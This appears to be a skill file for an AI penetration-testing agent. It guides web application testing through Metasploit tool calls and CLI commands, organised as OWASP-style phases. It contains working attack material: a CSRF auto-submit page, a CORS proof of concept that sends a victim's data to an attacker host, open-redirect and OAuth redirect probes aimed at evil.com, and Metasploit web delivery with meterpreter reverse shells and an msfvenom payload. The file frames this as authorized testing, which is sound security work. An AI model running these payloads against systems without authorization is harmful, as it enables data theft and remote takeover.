| name | web-app-pentest |
| description | Guides web application penetration testing aligned with OWASP/WSTG methodology. Use for attack surface mapping, vuln class routing, auth testing, and MSF delivery after web-based initial access. Payload details live in tier-3 vuln skills. |
Web Application Pentest
Prerequisites
- Target is in scope (
scope/scope-master.txt, engagement ROE).
- Load tier-3 vuln skills for payloads once a class is confirmed (see routing table below).
When to Use
- Web application in scope with HTTP/HTTPS services
- After
hacktricks-methodology identifies web ports (80, 443, 8080, 8443)
- Before diving into specific vuln skills (sqli, xss, ssrf, etc.)
Methodology
Task Progress:
- [ ] Map attack surface (endpoints, params, auth, tech stack)
- [ ] Classify input sinks (DB, shell, template, redirect, file, SSRF)
- [ ] Route to vuln skill; test with low-impact probes first
- [ ] Escalate only with evidence; document request/response proof
Phase 1: Surface mapping
Discovery
MSF MCP (preferred):
msf_run_auxiliary_module(
module_name="auxiliary/scanner/http/http_version",
engagement_id="<id>",
options={"RHOSTS": "<target>", "RPORT": 443, "SSL": true}
)
msf_run_auxiliary_module(
module_name="auxiliary/scanner/http/dir_scanner",
engagement_id="<id>",
options={"RHOSTS": "<target>", "RPORT": 443, "SSL": true, "PATH": "/admin", "DICTIONARY": "/usr/share/wordlists/dirb/common.txt"}
)
msf_db_nmap(
engagement_id="<id>",
targets="<target>",
nmap_args="-sV -sC -p 80,443,8080"
)
CLI fallback:
ffuf -u https://target/FUZZ -w /path/wordlist.txt -mc 200,301,302,403
feroxbuster -u https://target -x js,html,json,php,asp
whatweb https://target
nuclei -u https://target -tags exposure,misconfig
Burp workflow notes
MSF: No direct module; use CLI/Burp.
CLI fallback:
1. Configure browser proxy to Burp (127.0.0.1:8080)
2. Browse target; let Burp build site map (Target > Site map)
3. Right-click > Scan (passive then active if ROE permits)
4. Send interesting requests to Repeater for manual mutation
5. Use Intruder for fuzzing (rate-limit per ROE)
6. Extensions: Autorize (authZ), Param Miner (hidden params), JWT Editor
7. Export evidence: right-click > Copy to file (request/response)
Map: login, API routes, upload, admin panels, JWT/OAuth, CORS headers, WebSockets.
Phase 2: Vuln class routing
| Signal | Skill |
|---|
SQL errors, ', numeric/string param | sqli-pentest |
| Reflected/stored HTML/JS | xss-pentest |
| URL fetch, webhooks | ssrf-pentest |
{{, ${, template syntax | ssti-pentest |
| XML/SOAP/SVG input | xxe-pentest |
| Serialized objects | deserialization-pentest |
page=, ../ params | lfi-pentest |
| Sequential IDs | idor-pentest |
JWT eyJ tokens | jwt-pentest |
| GraphQL endpoint | graphql-pentest |
| Shell metacharacters | cmdi-pentest |
| File upload forms | upload-pentest |
| HTTP desync | request-smuggling-pentest |
| MongoDB operators | nosql-injection-pentest |
| LLM chatbot | prompt-injection-pentest / ai-llm-pentest |
Phase 3: Cross-cutting tests
CSRF PoC (curl)
MSF: No direct module; use CLI.
CLI fallback:
curl -X POST 'https://target/api/transfer' \
-H 'Cookie: session=abc123' \
-H 'Content-Type: application/json' \
-d '{"to":"attacker","amount":1000}'
cat > csrf.html << 'EOF'
<html><body onload="document.forms[0].submit()">
<form action="https://target/api/transfer" method="POST">
<input type="hidden" name="to" value="attacker"/>
<input type="hidden" name="amount" value="1000"/>
</form></body></html>
EOF
State-changing POST without token or with predictable token = CSRF finding.
CORS misconfig PoC (curl)
MSF: No direct module; use CLI.
CLI fallback:
curl -s -I 'https://target/api/user' -H 'Origin: https://evil.com' | grep -i access-control
curl -s 'https://target/api/user' \
-H 'Origin: https://evil.com' \
-H 'Cookie: session=victim_session_here'
cat > cors.html << 'EOF'
<script>
fetch('https://target/api/user',{credentials:'include'})
.then(r=>r.json()).then(d=>fetch('https://attacker/?'+btoa(JSON.stringify(d))));
</script>
EOF
Open redirect
MSF: No direct module; use CLI.
CLI fallback:
curl -sI 'https://target/login?next=https://evil.com' | grep -i location
curl -sI 'https://target/login?url=//evil.com' | grep -i location
WebSocket Testing
MSF: No direct WebSocket module; use CLI.
CLI fallback:
websocat ws://<target>/ws
wscat -c ws://<target>/ws
OAuth/OIDC Testing
MSF: No direct OAuth module; use CLI.
CLI fallback:
curl -s "http://<target>/oauth/authorize?client_id=app&redirect_uri=http://<attacker>/callback&response_type=code"
Phase 4: Authentication testing
MSF MCP (preferred):
msf_run_auxiliary_module(
module_name="auxiliary/scanner/http/http_login",
engagement_id="<id>",
options={"RHOSTS": "<target>", "RPORT": 443, "SSL": true, "TARGETURI": "/login", "USERPASS_FILE": "/tmp/creds.txt"}
)
CLI fallback:
curl -c cookies.txt -b cookies.txt https://target/login -d "user=test&pass=test"
echo "<jwt_payload>" | base64 -d
Check: session not invalidated on logout, password reset token reuse, MFA bypass.
Phase 5: Metasploit delivery after RCE
MSF MCP (preferred):
msf_search_modules(query="<cve or product>")
msf_module_check(
module_name="exploit/multi/http/struts2_content_type_ognl",
engagement_id="<id>",
module_type="exploit",
options={"RHOSTS": "<target>", "RPORT": 8080}
)
msf_module_check(
module_name="exploit/multi/script/web_delivery",
engagement_id="<id>",
module_type="exploit",
options={"RHOSTS": "<target>", "TARGETURI": "/"}
)
msf_run_exploit(
module_name="exploit/multi/script/web_delivery",
engagement_id="<id>",
options={"RHOSTS": "<target>", "TARGETURI": "/", "PAYLOAD": "windows/meterpreter/reverse_https", "LHOST": "<attacker>", "LPORT": 443}
)
msf_start_listener(
payload="windows/x64/meterpreter/reverse_https",
lhost="<attacker>",
lport=443,
engagement_id="<id>"
)
msf_generate_payload(
payload="windows/x64/meterpreter/reverse_https",
format="exe",
options={"LHOST": "<attacker>", "LPORT": 443},
engagement_id="<id>"
)
CLI fallback:
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=<attacker> LPORT=443 -f exe -o shell.exe
python3 -m http.server 8080
Always msf_module_check before exploit. Include engagement_id.
Phase 6: Evidence
Capture: vulnerable URL/parameter, minimal PoC request/response, impact, remediation. Store under evidence/msf/.
Anti-patterns
- Do not run DoS techniques unless explicitly authorized in ROE.
- Do not spray destructive SQL without approval.
- Do not test out-of-scope subdomains.
Related skills
| Need | Skill |
|---|
| Specific payloads | Tier-3 vuln skills (sqli, xss, ssrf, etc.) |
| DB post-access | database-pentest |
| Cloud metadata from SSRF | cloud-pentest |
| Service/port discovery | hacktricks-methodology |
| Reporting | reporting-pentest |
| Exploit delivery workflow | msf-exploit-chain |
| External entry and edge testing | initial-access-pentest |
